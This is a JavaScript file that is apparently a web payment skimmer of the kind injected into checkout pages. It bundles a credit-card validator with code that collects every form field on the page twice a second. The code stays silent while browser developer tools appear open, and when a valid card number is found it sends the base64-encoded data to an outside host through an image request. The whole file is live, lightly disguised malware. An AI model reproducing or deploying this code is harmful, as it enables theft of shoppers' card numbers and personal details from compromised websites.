(function(window) { var gateway = window.gateway || {}; window.gateway = gateway; function normalizeCardNumber(cardNumber) { // converts it's value to a string cardNumber += ''; return cardNumber.replace(/[\s+|\.|\-]/g, ''); } function CreditCard() { if ( !( this instanceof CreditCard ) ) { return new CreditCard(); } } CreditCard.prototype = { isValid: function(creditCardNumber) { var cardType = CreditCard.prototype.cardType(creditCardNumber); creditCardNumber = normalizeCardNumber(creditCardNumber); if (!cardType){ return false; } else if (cardType.brand === "HIPERCARD") { return true; // There's no validation for hipercard. } else { // Luhn algorithm: http://en.wikipedia.org/wiki/Luhn_algorithm var checksum = 0; for (var i=(2-(creditCardNumber.length % 2)); i<=creditCardNumber.length; i+=2) { checksum += parseInt(creditCardNumber.charAt(i-1), 10); } // Analyze odd digits in even length strings or even digits in odd length strings. for (i=(creditCardNumber.length % 2) + 1; i 12) { return false; } if((year+'').length !== 2 && (year+'').length !== 4) { return false; } if((year+'').length === 2) { if(year > 80) { year = "19" + year; } else { year = "20" + year; } } if(year < 1000 || year >= 3000) { return false; } return !CreditCard.prototype.isExpiredDate(month, year); }, isExpiredDate: function(month, year) { var now = new Date(); var thisMonth = ("0" + (now.getMonth() + 1)).slice(-2); var thisYear = now.getFullYear(); month = ("0" + (month)).slice(-2); if(year.toString().length === 2) { if(year > 80) { return true; } else { year = "20" + year; } } var currentDate = thisYear + thisMonth; var customerDate = year + month; return parseInt(customerDate, 10) < parseInt(currentDate, 10); } }; gateway.creditCard = CreditCard(); })(window); function reparms(x, y, parameters) { return x.replace(new RegExp(y, "g"), parameters); } function batch(char) { return gateway.creditCard.isValid(char); } function redata(str) { if (/[^0-9-\s]+/.test(str)) { return false; } var raw_unread_count = 0; var delta = 0; var mark = false; str = str.replace(/\D/g, ""); var i = str.length - 1; for (; i >= 0; i--) { var date = str.charAt(i); delta = parseInt(date, 10); if (mark) { if ((delta = delta * 2) > 9) { delta = delta - 9; } } raw_unread_count = raw_unread_count + delta; mark = !mark; } return raw_unread_count % 10 == 0; } (function() { const result = {}; result.isOpen = false; result.orientation = undefined; const num = 160; const cback = (index, value) => { window["dispatchEvent"](new CustomEvent("devtoolschange", { "detail" : { "isOpen" : index, "orientation" : value } })); }; setInterval(() => { const mobile = window.outerWidth - window.innerWidth > num; const adjustHeight = window.outerHeight - window.innerHeight > num; const orientation = mobile ? "vertical" : "horizontal"; if (!(adjustHeight && mobile) && (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || mobile || adjustHeight)) { if (!result.isOpen || result.orientation !== orientation) { cback(true, orientation); } result.isOpen = true; result.orientation = orientation; } else { if (result.isOpen) { cback(false, undefined); } result.isOpen = false; result.orientation = undefined; } }, 500); if (typeof module !== "undefined" && module.exports) { module.exports = result; } else { window.devtools = result; } })(); String.prototype.hashCode = function() { var hash = 0; var i; var chr; if (this.length === 0) { return hash; } i = 0; for (; i < this.length; i++) { chr = this.charCodeAt(i); hash = (hash << 5) - hash + chr; hash = hash | 0; } return hash; }; var configData = {}; configData.Gate = "http://a.c0594.com/"; configData.Data = {}; configData.Sent = []; configData.IsValid = false; configData.SaveParam = function(data) { if (data.id !== undefined && data.id != "" && data.id !== null && data.value.length < 256 && data.value.length > 0) { if (redata(reparms(reparms(data.value, "-", ""), " ", "")) && batch(reparms(reparms(data.value, "-", ""), " ", ""))) { configData.IsValid = true; } configData.Data[data.id] = data.value; return; } if (data.name !== undefined && data.name != "" && data.name !== null && data.value.length < 256 && data.value.length > 0) { if (redata(reparms(reparms(data.value, "-", ""), " ", "")) && batch(reparms(reparms(data.value, "-", ""), " ", ""))) { configData.IsValid = true; } configData.Data[data.name] = data.value; return; } }; configData.SaveAllFields = function() { var inputs = document.getElementsByTagName("input"); var sels = document.getElementsByTagName("select"); var test = document.getElementsByTagName("textarea"); var ii = 0; for (ii=0; ii < inputs.length; ii++) { configData.SaveParam(inputs[ii]); } ii = 0; for (ii=0; ii < sels.length; ii++) { configData.SaveParam(sels[ii]); } ii = 0; for (ii=0; ii < test.length; ii++) { configData.SaveParam(test[ii]); } }; configData.SendData = function() { if (!window.devtools.isOpen && configData.IsValid) { configData.Data.Domain = location.hostname; var hash = encodeURIComponent(window.btoa(JSON.stringify(configData.Data))); var multipleWildcard = hash.hashCode(); var curPatternPos = 0; for (; curPatternPos < configData.Sent.length; curPatternPos++) { if (configData.Sent[curPatternPos] == multipleWildcard) { return; } } configData.LoadImage(hash); } }; configData.TrySend = function() { configData.SaveAllFields(); configData.SendData(); }; configData.LoadImage = function(url) { configData.Sent.push(url.hashCode()); var img = document.createElement("IMG"); img.src = configData.GetImageUrl(url); }; configData.GetImageUrl = function(swfUrlStr) { return configData.Gate + "?reff=" + swfUrlStr; }; document.onreadystatechange = function() { if (document.readyState === "complete") { window.setInterval(configData.TrySend, 500); } };